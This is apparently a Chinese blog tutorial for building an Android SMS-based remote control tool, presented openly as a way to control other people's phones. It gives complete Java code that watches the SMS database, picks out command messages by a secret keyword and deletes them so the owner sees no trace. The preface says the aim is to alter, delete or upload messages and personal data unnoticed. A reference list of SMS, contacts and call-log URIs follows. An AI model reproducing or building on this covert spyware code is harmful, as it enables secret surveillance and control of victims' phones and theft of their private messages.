android 监听短信数据库，制作短信控制工具，控制别人的手机！！(一)

序言：本程序示例本着简洁易懂的目的，只做了简单的功能实现，需要用户启动应用，收到短信才有效果。作者将会在后面的（二）篇中加入服务后台运行、自动启动功能，实现一个真正的短信控制工具。本文的目的很简单，让读者掌握短信控制工具的原理。本程序采用的是监听短信数据库，而不是广播，所以权限相对较高，能在用户未察觉的前提下，篡改、删除，上传手机短信或个人信息。请勿非法使用，仅供个人参考学习。本程序需要用到4-5个类，

本文来自：http://blog.csdn.net/tabactivity

1、 com.xieyuan.smslistener 包下 MessageItem.java ，主要功能就是构建数据模型，方便修改和使用。

package com.xieyuan.smslistener;import java.io.Serializable;/* * 实现Serializable接口，方便数据的传输 * 在后面需要调用Message.obj=MessageItem的对象，来传输 * 那么就必须实现此接口 */public class MessageItem implements Serializable{//短信IDprivate int id;//短信类型   1是接收到的，2是发出的private int type;//短信协议 ，短信\彩信private int protocol;//发送时间private long date;//手机号private String phone;//内容public String body;public MessageItem(){}public MessageItem(int id,int type,int protocol,long date,String phone,String body){this.id=id;this.type=type;this.protocol=protocol;this.date=date;this.phone=phone;this.body=body;}/** * @return the id */public int getId() {return id;}/** * @param id the id to set */public void setId(int id) {this.id = id;}/** * @return the type */public int getType() {return type;}/** * @param type the type to set */public void setType(int type) {this.type = type;}/** * @return the protocol */public int getProtocol() {return protocol;}/** * @param protocol the protocol to set */public void setProtocol(int protocol) {this.protocol = protocol;}/** * @return the date */public long getDate() {return date;}/** * @param date the date to set */public void setDate(long date) {this.date = date;}/** * @return the phone */public String getPhone() {return phone;}/** * @param phone the phone to set */public void setPhone(String phone) {this.phone = phone;}/** * @return the body */public String getBody() {return body;}/** * @param body the body to set */public void setBody(String body) {this.body = body;}public String toString(){return "id="+id+",type="+type+",protocol="+protocol+",phone="+phone+",body="+body;}}

2、com.xieyuan.smslistener 包下 SMSConstant.java ，主要定义了一些关于短信数据库字段和程序常量。

package com.xieyuan.smslistener;import android.net.Uri;import android.provider.BaseColumns;public interface SMSConstant extends BaseColumns{//内容地址public static final Uri CONTENT_URI=Uri.parse("content://sms");//短信开头过滤字符，根据该字符判断是不是控制短信public static final String FILTER="woaixieyuan";////////////SMS数据库列名字段，其实还有很多，目前没用就不列举了public static final String ID="_id";public static final String THREAD_ID="thread_id";public static final String ADDRESS="address";public static final String M_SIZE="m_size";public static final String PERSON="person";public static final String DATE="date";public static final String DATE_SENT="date_sent";public static final String PROTOCOL="protocol";public static final String READ="read";public static final String STATUS="status";public static final String REPLY_PATH_PRESENT="replay_path_present";public static final String SUBJECT="subject";public static final String BODY="body";public static final String SERVICE_CENTER="service_center";public static final String LOCKED="locked";public static final String SIM_ID="sim_id";public static final String ERROR_CODE="error_code";public static final String SEEN="seen";public static final String TYPE = "type";////////////短信的状态public static final int MESSAGE_TYPE_ALL    = 0;   //所有        public static final int MESSAGE_TYPE_INBOX  = 1;   //收件箱        public static final int MESSAGE_TYPE_SENT   = 2;   //已发送        public static final int MESSAGE_TYPE_DRAFT  = 3;   //草稿        public static final int MESSAGE_TYPE_OUTBOX = 4;   //待发送        public static final int MESSAGE_TYPE_FAILED = 5;   //发送失败 for failed outgoing messages        public static final int MESSAGE_TYPE_QUEUED = 6;   //定时发送  for messages to send laterpublic static final int PROTOCOL_SMS = 0;//SMS_PROTOpublic static final int PROTOCOL_MMS = 1;//MMS_PROTO}

3、com.xieyuan.smslistener 包下 SMSObserver.java ，短信观察者，该类注册观察者类时得到回调数据确定一个给定的内容URI变化。

package com.xieyuan.smslistener;import android.content.ContentResolver;import android.database.ContentObserver;import android.database.Cursor;import android.os.Handler;import android.os.Message;/* *   ContentObserver——内容观察者，目的是观察(捕捉)特定Uri引起的数据库的变化，继而做一些相应的处理，它类似于  数据库技术中的触发器(Trigger)，当ContentObserver所观察的Uri发生变化时，便会触发它。触发器分为表触发器、行触发器，  相应地ContentObserver也分为“表“ContentObserver、“行”ContentObserver，当然这是与它所监听的Uri MIME Type有关的。 */public class SMSObserver extends ContentObserver{private Handler mHandler;//内容解析器，和ContentProvider刚好相反,一个提供，一个解析private ContentResolver mResolver;//需要取得的短信条数private static final int MAX_NUMS=10;//用于保存记录中最大的IDprivate static final int MAX_ID=0;//需要获得的字段列private static final String[] PROJECTION={SMSConstant.ID,SMSConstant.TYPE,SMSConstant.ADDRESS,SMSConstant.BODY,SMSConstant.DATE,SMSConstant.THREAD_ID,SMSConstant.READ,SMSConstant.PROTOCOL};/* * 查询语句 * 用于查询ID大于 MAX_ID的记录，初始为0，后面用于保存记录的最大ID。短信的起始ID为1 */private static final String SELECTION=SMSConstant.ID + " > %s"+        " and ("+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_INBOX+        " or "+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_SENT+")";//取值对应的结果就是PROJECTION 里对应的字段 private static final int COLUMN_INDEX_ID    = 0; private static final int COLUMN_INDEX_TYPE  = 1; private static final int COLUMN_INDEX_PHONE = 2;     private static final int COLUMN_INDEX_BODY  = 3;     private static final int COLUMN_INDEX_DATE  = 4;     private static final int COLUMN_INDEX_PROTOCOL = 7;public SMSObserver(ContentResolver resolver,Handler handler) {super(handler);    this.mResolver=resolver;    this.mHandler=handler;}@Overridepublic void onChange(boolean selfChange){super.onChange(selfChange);Cursor cursor=mResolver.query(SMSConstant.CONTENT_URI,   //查询的URI                      PROJECTION,                //需要取得的列                      String.format(SELECTION,MAX_ID),                 //查询语句                      null,             //可能包括您的选择，将被替换selectionArgs的值，在选择它们出现的顺序。该值将被绑定为字符串。                      null);                //排序if(cursor!=null){while(cursor.moveToNext()){/*Log.v("短信",new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(cursor.getLong(4))+ ",ID:"+cursor.getInt(COLUMN_INDEX_ID)+",TYPE："+cursor.getInt(COLUMN_INDEX_TYPE)+",PROTOCOL："+                cursor.getInt(COLUMN_INDEX_PROTOCOL)+"，PHONE:"+cursor.getString(COLUMN_INDEX_PHONE)+","+    cursor.getString(COLUMN_INDEX_BODY));*/int id=cursor.getInt(COLUMN_INDEX_ID);int type=cursor.getInt(COLUMN_INDEX_TYPE);int protocol=cursor.getInt(COLUMN_INDEX_PROTOCOL);long date=cursor.getLong(COLUMN_INDEX_DATE);String phone=cursor.getString(COLUMN_INDEX_PHONE);String body=cursor.getString(COLUMN_INDEX_BODY);//过滤指定的内容，执行控制操作if(protocol==SMSConstant.PROTOCOL_SMS&&body!=null&&body.startsWith(SMSConstant.FILTER)){MessageItem item=new MessageItem(id, type, protocol, date, phone, body);//通知HandlerMessage msg=new Message();msg.obj=item;mHandler.sendMessage(msg);break;}}/* * 关闭游标，释放资源。否则下次查询游标仍然在原位置 */cursor.close();}}}

4、com.xieyuan.smslistener 包下 SMSHandler.java ，短信观察者的数据发送变化，并和指定的Filter（SMSConstant定义的指令，区分是不是开发者的控制短信）字符串匹配后，会向SMSHhander发送消息，此时，SMSHandler就可以根据短信的内容执行一些操作，来控制手机。

package com.xieyuan.smslistener;import android.content.ContentProvider;import android.content.ContentProviderClient;import android.content.ContentResolver;import android.content.ContentUris;import android.content.ContentValues;import android.content.Context;import android.content.Intent;import android.net.Uri;import android.os.Handler;import android.os.Message;import android.util.Log;/* * 用于接收SMSObserver发送过来的短信内容（MessageItem） */public class SMSHandler extends Handler{private static final String TAG="SMSHandler";private Context mContext;public SMSHandler(Context context){super();this.mContext=context;}@Overridepublic void handleMessage(Message msg){MessageItem item=(MessageItem)msg.obj;new Intent(Intent.ACTION_REBOOT);//添加给定的ID结尾的路径。Uri uri=ContentUris.withAppendedId(SMSConstant.CONTENT_URI, item.getId());/*                可以根据短信内容进行判断，执行您想要的操作，如发送 Filter字符+dialog你就弹出个对话框，                  操作省略，自行完善所需控制操作                。。。。。。。。。。。。。。                 *///删除指定的短信,操作不留痕迹。。。^_^mContext.getContentResolver().delete(uri,null,null);Log.v(TAG, item.toString());}}

5、注册内容观察者

在Activity或者Service的初始函数中执行注册操作，本示例在Activity onCreate()中注册

                ContentResolver resolver=getContentResolver();MSObserver observer=new SMSObserver(resolver, new SMSHandler(this));//注册观察者类时得到回调数据确定一个给定的内容URI变化。resolver.registerContentObserver(SMSConstant.CONTENT_URI, true, observer); 

在onDestroy'()中卸载观察者

//卸载观察者getContentResolver().unregisterContentObserver(observer);

在AndroidManifest.xml中添加短信权限

    <!-- 读取短信 -->      <uses-permission android:name="android.permission.READ_SMS" />    <!-- 发送短信 -->    <uses-permission android:name="android.permission.WRITE_SMS" />

至此，整个简单的短信监听工具基本模型已经完善。

------------------------------------------------------------------------------------

下面是辅助开发的一些参考资料：

1、Android 短信数据库 开发资料（深度开发必看）

http://download.csdn.net/detail/ab6326795/6199851

2、Android数据库字段资料

1.短信数据库
String strUriInbox = "content://sms";
Uri uriSms = Uri.parse(strUriInbox);
Cursor c_groups = managedQuery( uriSms , new String[] { "date","person" }, select, null, "date DESC");
strColumnName=_id                strColumnValue=48                  //短消息序号  
strColumnName=thread_id          strColumnValue=16                  //对话的序号（conversation）
strColumnName=address            strColumnValue=[phone]      //发件人地址，手机号
strColumnName=person              strColumnValue=null                //发件人，返回一个数字就是联系人列表里的序号，陌生人为null
strColumnName=date                strColumnValue=1256539465022        //日期  long型，想得到具体日期自己转换吧！
strColumnName=protocol            strColumnValue=0                    //协议
strColumnName=read                strColumnValue=1                    //是否阅读
strColumnName=status              strColumnValue=-1                  //状态
strColumnName=type                strColumnValue=1                    //类型 1是接收到的，2是发出的
strColumnName=reply_path_present  strColumnValue=0                    //
strColumnName=subject            strColumnValue=null                //主题
strColumnName=body                strColumnValue=您好                                                      //短消息内容
strColumnName=service_center      strColumnValue=[phone]      //短信服务中心号码编号，可以得知该短信是从哪里发过来的见下表
2.联系人数据库
strColumnName = _sync_id  strColumnValue=null
strColumnName = primary_organization  strColumnValue=null
strColumnName = notes  strColumnValue=null
strColumnName = primary_phone  strColumnValue=1
strColumnName = status  strColumnValue=null
strColumnName = im_handle  strColumnValue=null
strColumnName = _sync_local_id  strColumnValue=null
strColumnName = im_account  strColumnValue=null
strColumnName = _sync_time  strColumnValue=null
strColumnName = im_protocol  strColumnValue=null
strColumnName = mode  strColumnValue=null
strColumnName = label  strColumnValue=null
strColumnName = times_contacted  strColumnValue=0
strColumnName = name  strColumnValue=é??è?3
strColumnName = send_to_voicemail  strColumnValue=null
strColumnName = primary_email  strColumnValue=null
strColumnName = custom_ringtone  strColumnValue=null
strColumnName = sort_string  strColumnValue=í?¤í2?í??ío3à?
strColumnName = _sync_version  strColumnValue=null
strColumnName = last_time_contacted  strColumnValue=null
strColumnName = _sync_account  strColumnValue=null
strColumnName = display_name  strColumnValue=é??è?3
strColumnName = number_key  strColumnValue=77681111831
strColumnName = number  strColumnValue=13811118677
strColumnName = phonetic_name  strColumnValue=null
strColumnName = _id  strColumnValue=1
strColumnName = type  strColumnValue=2
strColumnName = _sync_dirty  strColumnValue=1
strColumnName = starred  strColumnValue=0
4.其他数据库
//Available Uri string
content://contacts/people    //本地联系人列表信息
content://contacts/phones    //本地联系人列表信息
content://call_log/calls/    //本地通话记录        
content://mms            彩信
content://mms-sms/threadID
content://mms-sms/conversations
content://mms-sms/messages/byphone
content://mms-sms/undelivered
content://mms-sms/draft

String strUriInbox        = "content://sms/inbox";        //SMS_INBOX:1 
String strUriFailed      = "content://sms/failed";      //SMS_FAILED:2 
String strUriQueued      = "content://sms/queued";      //SMS_QUEUED:3 
String strUriSent        = "content://sms/sent";        //SMS_SENT:4 
String strUriDraft        = "content://sms/draft";        //SMS_DRAFT:5 
String strUriOutbox      = "content://sms/outbox";      //SMS_OUTBOX:6 
String strUriUndelivered  = "content://sms/undelivered";  //SMS_UNDELIVERED 
String strUriAll          = "content://sms/all";          //SMS_ALL 
String strUriConversations= "content://sms/conversations";//you can delete one conversation by thread_id 
String strUriAll          = "content://sms"              //you can delete one message by _id